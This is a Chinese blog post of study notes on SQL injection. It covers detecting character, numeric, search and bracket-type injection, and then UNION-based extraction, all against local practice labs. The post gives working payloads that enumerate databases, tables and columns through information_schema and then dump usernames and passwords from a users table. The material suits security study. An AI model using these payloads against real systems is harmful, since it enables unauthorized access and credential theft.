01.联合查询注入
本文最后更新于522 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、sql注入检测方式

1、字符型检测

字符型判断url是否存在注入

在url栏的网址上添加一个单引号

url: http://localhost/Less-1/?id=1′]

会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23(url编码)
一个注释符后会正常显示。

当我们在url栏网址的单引号后面输入and 1=1 时页面显示正常。

http://localhost/Less-1/?id=1′ and 1=1#
如果#不行,可以改为%23

当我们把1=1换成1=2时页面报错

http://localhost/Less-1/?id=1′ and 1=2#

或这这样理解

Pasted image 20241104221351.png

第一关注入一个1’,错误回显出下面内容,其中1‘是注入的内容,0,1后面的单引号和最前面的单引号是一对,剩下的两个单引号是一对,最后多出一个单引号。错误回显出上面内容说明是字符型注入。

2、数字型注入检测

直接输入and 1=1看看。

http://localhost/Less-2/?id=1 and 1=1

发现是可以正常显示页面的,那么我们在进一步判断1=2时。

http://localhost/Less-2/?id=1 and 1=2

发现页面有变化,那么就可以判断他是一个数字型的注入,因为数字型的注入是==不用==加引号的。就类似于int一样。

或者这样理解

Pasted image 20241104221510.png

第二关注入一个1’,错误回显出下面内容,没有回显出注入的1’说明该注入类型是数字型

3、搜索型注入检测

在搜索框里面输入单引号’来测试。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=’&submit=搜索

发现报错,然后注释符号后看看页面是否正常。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=’#&submit=搜索

页面恢复正常,那么这个时候就可以判断出,他是存在搜索型注入,那么把构造一个’ or 1=1 # 就可以把全部数据列出来。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=%27+or+1%3D1%23&submit=%E6%90%9C%E7%B4%A2#&submit=%C3%A6%C2%90%C2%9C%C3%A7%C2%B4%C2%A2

4、xx型注入检测

在搜索框里面输入单引号来尝试。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=%27&submit=%E6%9F%A5%E8%AF%A2

可以看到报错,看他的报错内容提示了一个)那么我们可以猜测是不是这个参数需要用括号来闭合,那么构造语句’) # 来试试。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=’)#&submit=%E6%9F%A5%E8%AF%A2

发现页面正常显示,这个时候我们可以在后面加上  or 1=1。

http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?name=’)+or+1=1%23&submit=%E6%9F%A5%E8%AF%A2
Pasted image 20241029110758.png

二、union注入

union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
 

Pasted image 20241029222142.png

 
后端代码
Pasted image 20241029222311.png

1.输入1′ union select 1,2,3 #(%23)

查看是否存在union注入
Pasted image 20241029222658.png

#后面的这一行注释
Pasted image 20241029222807.png

‘ union select 1,2,3 #
Pasted image 20241029223142.png

前面的语句查询为空,执行后面的语句,显示位显示后面语句的结果
Pasted image 20241029223435.png

Pasted image 20241029223503.png

2.order by 查询字段

union注入是需要配合order by来判断,那么order by是干什么的呢,order by是在sql语句后面进行排序的,通常我们用order by来判断主查询的==字段有几位==。
 

Pasted image 20241029224019.png

 只有3个字段(3列)id username password

group by 也一样 Pasted image 20241029224345.png

靶场上
Pasted image 20241029224822.png

3.显示位(显示的name password,显示用户名)

Pasted image 20241029225859.png

显示数据库
Pasted image 20241029230147.png

因为后端限定使用select 不能使用 show
Pasted image 20241029230528.png

==注意:union只能用查询不能用show==

4.union查询数据库名

id=’125254758′ union select 1,schema_name,2 from information_schema.schemata #

Pasted image 20241029232422.png

Pasted image 20241029232232.png

用limit 1,1查询其他,可以将id=1,因为limit限制显示的是第二个数据库名
Pasted image 20241029232727.png

用group_concat函数查询所有名称到一行里,在第二个显示位上显示所有名称,再补齐字段,
==注意:id为表中不存在的,使得第一个语句为空,显示位显示所有数据库名,因为此时没有limit限制==

Pasted image 20241029234551.png

Pasted image 20241029235551.png

查询当前数据库
database()
Pasted image 20241030170942.png

5.查询某个数据库里的表

Pasted image 20241030155707.png

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="mamba" #
Pasted image 20241030163339.png

union select 1,(select group_concat(schema_name) from information_schema.schemata),group_concat(table_name) from information_schema.tables where table_schema="mamba" #
Pasted image 20241030164142.png

6.查询字段当前数据库中表里的字段

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="users"#
Pasted image 20241030170036.png

7.查询当前数据库中users表里的数据

union select 1,group_concat(username),group_concat(password) from users%23
Pasted image 20241030170736.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇